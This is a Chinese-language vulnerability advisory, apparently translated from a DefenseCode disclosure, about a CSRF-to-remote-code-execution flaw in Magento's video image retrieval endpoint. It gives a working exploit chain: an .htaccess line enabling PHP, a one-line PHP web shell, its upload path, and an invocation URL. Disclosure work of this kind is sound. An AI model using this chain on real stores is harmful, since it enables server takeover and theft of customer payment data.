0x01 概述

在Magento社区版的安全审计期间,我们发现存在着一个跨站请求伪造漏洞(CSRF)并且有可能导致远程代码执行,从而完成系统的控制,这可能导致社区账号密码和敏感客户信息数据库(例如存储的信用卡号码和其他支付信息)泄露的高风险漏洞,而且这个漏洞影响Magento社区版2.16和2.16以下的版本。

1

Magento是一个开源的电子商务平台,为在线商家提供灵活的购物车系统,使商家可以容易的控制其在线商店的外观,内容和功能。Magento提供强大的营销,搜索引擎优化和目录管理工具。它是领先的企业级电子商务平台,拥有超过20万个在线零售商。

主页:http://www.magento.com

0x02 漏洞描述

跨站点请求伪造

通过将请求方法从POST更改为GET,因为缺少用作CSRF令牌的form_key参数会被忽略,从而实现跨站点请求伪造(CSRF)攻击。攻击可以像电子邮件或公共留言板中的<img src =...一样简单,如果用户当前登录到Magento,它将自动触发任意文件上传。攻击者也可以使用社会工程诱使用户来打开CSRF链接。

防御方法:CSRF攻击向量可以通过默认启用的选项将密钥添加到URL来缓解。

远程代码执行

利用此漏洞不需使用任何Magento管理面板用户,也无需分配账号和权限就可以用administrative管理访问权限来利用此漏洞,从而访问远程映像检索功能。因此,获得低权限访问就可以使攻击者能够破坏整个系统或数据库(例如遍历到/app/etc/env.php以获取数据库密码)。

0x03 漏洞分析

将Vimeo视频内容添加到新产品或现有产品时,应用程序将使用POST请求自动检索视频的预览图像,获取远程图像URL参数。当请求方法更改为GET,那么请求发送变成如下:

http://192.168.1.10/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?
remote_image=https://i.vimeocdn.com/video/438193448_640.jpg

如果URL指向无效图像(例如,PHP文件),则应用程序将响应:

{"error":"Disallowed file type.","errorcode":0}

但是不管应用程序如何保存文件来进行验证图像,这个文件都会被下载,而且如果验证失败,也不会将其删除。该文件将保存到以下位置:

/pub/media/tmp/catalog/product/<X>/<Y>/<original filename>

其中X和Y是文件名的前两个字符(例如,如果文件名为picture.jpg,路径将是/p/i/picture.jpg)。此行为允许使用PHP脚本远程代码执行或者插入存储型跨站脚本或恶意软件托管。

要实现远程代码执行这个漏洞,要下载两个文件。一个是.htaccess文件,它可以在下载目录中启用PHP执行,另一个是执行的PHP脚本。由于这些文件需要保存在同一个目录下,所以PHP脚本文件名应该以“.h”(但不是“.ht”!)开头,因此它将被放在/pub/media/tmp/catalog/product/_/h/(‘.’会被替换为’_‘) 。根据服务器配置,.htaccess文件可以很简单获得:

php_flag engine 1

PHP脚本的概念证明是:

<?php echo shell_exec($_GET['cmd']); ?>

并访问为:

http://192.168.1.10/magento2/pub/media/tmp/catalog/product/_/h/.hshell.php?cmd=whoami

Magento源代码分析也证实了这个漏洞。下面是RetrieveImage.php中有问题的函数:

2

0x04 总结

尚未解决最新版本中报告的安全问题。强烈建议所有用户强制使用“添加密文密钥到URL”,以减轻CSRF攻击向量。为防止通过任意文件上传远程代码执行,应将服务器配置为不受影响目录中的.htaccess文件。

由Bosko Stankovic发现([email protected])。

公开时间表

11/18/2016供应商通过BugCrowd平台联系

11/18/2016供应商回应意识到问题

04/11/2017供应商再次联系没有回应

04/13/2017咨询向公众公布

 

*作者:DefenseCode,

 

 

源链接

Hacking more

...